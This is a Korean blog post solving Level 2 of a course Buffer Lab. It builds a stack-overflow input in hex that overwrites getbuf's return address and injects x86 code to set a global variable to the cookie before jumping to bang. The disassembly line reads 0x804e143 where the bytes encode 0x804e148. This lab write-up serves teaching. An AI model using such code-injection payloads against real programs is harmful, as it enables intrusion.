Buffer Lab - Level 2

l_nerd6·2022년 10월 2일
0

Level 2는 위 코드처럼 global_value라는 변수를 나의 cookie 값과 같게 만들어야 하는 문제이다. 이를 위해서는 먼저 bang을 실행시켜야 한다.

bang의 주소를 보면 0x0804967b에 위치해 있는 것을 알 수 있다. getbuf 함수를 리턴할 때 스택의 맨 위가 이 값을 저장하도록 입력을 넣어주자. 주소를 거꾸로 넣어주어야 하는 것은 little-endian이기 때문이다. 따라서 입력을 다음과 같이 넣어보자.

61 62 63 64 65 66 67 68
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 7b 96 04 08

61 62 63 64 65 66 67 68는 아스키 코드로 abcdefgh인데, 큰 의미는 없다. ret가 실행될 때 스택의 맨 위, 즉 %esp가 가리키는 곳에 bang의 주소가 저장되도록 했다는 것만 알아두면 된다.

실행을 해보면 global_value0x0이라며 실패 메시지가 나올 것이다. bang 함수를 좀더 뜯어보자. 위 사진을 보면, <bang+36>cmp에서 %eax%edx를 비교하고 두개가 같아야 하는 것을 알 수 있다. 중단점을 찍고 레지스터 값을 보면 %edx는 0인데 %eax는 내 cookie 값이 저장되어 있다. 즉, 우리가 할 일은 %edx의 값을 쿠키값으로 바꾸는 것이다.

코드를 보면 이런 부분이 있다. 참고로 __x86.get_pc_thunk.bx는 현재의 PC를 가져와서 ebx에 저장하는 역할을 한다. 따라서 %edx에 저장되는 값은

0x8049686 + 0x4975 + 0x148 = 0x804e148

이다. 이제 0x804e148에 저장된 값을 쿠키값으로 바꿔놓으면 끝이다. 짜야하는 코드를 요약해보면 다음과 같다.

  1. getbuf가 리턴될 때, 원래 함수로 돌아가지 않고 내가 인젝션한 코드로 가도록 스택 맨 위의 값을 바꿔놓기
  2. (인젝션한 코드) %eax0x804e148를 저장
  3. (%eax)에 내 쿠키값을 저장
  4. return. 이때, %esp가 가리키는 곳에(스택의 맨 위에) bang의 주소인 0x0804967b가 저장되어 있도록 해줌

우선 1은 미뤄두고, 2~4의 역할을 하는 코드를 어셈블리로 짜보면 다음과 같다. (여기서 0xabcdef01이 내 쿠키라고 하자)

  mov    $0x804e148,%eax
  movl   $0xabcdef01,(%eax)
  ret

gcc를 이용해서 이를 기계어로 바꿔주면 다음과 같다.

test.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   b8 48 e1 04 08          mov    $0x804e143,%eax
   5:   c7 00 01 ef cd ab       movl   $0xabcdef01,(%eax)
   b:   c3                      ret

이를 바탕으로 입력 문자열을 다음과 같이 구성해준다.

61 62 63 64 65 66 67 68
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 6c 31 68 55
00 00 00 00 b8 48 e1 04
08 c7 00 01 ef cd ab c3

여기서 6c 31 68 55는 명령어 b8 48 e1 04의 주소이다. getbuf가 ret될 때 우리가 짠 코드를 실행하도록 해주었다.

이제 breakpoint를 찍고 실행을 해보자.

앞서 설명한 과정을 거치고 ret가 실행될 때, esp0x55683168에 있는 것을 확인할 수 있다. 이제 저 위치에 bang의 주소만 넣어주면 끝난다.

61 62 63 64 65 66 67 68
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 6c 31 68 55
7b 96 04 08 b8 48 e1 04
08 c7 00 01 ef cd ab c3

문제가 잘 해결된 것을 확인할 수 있다.

0개의 댓글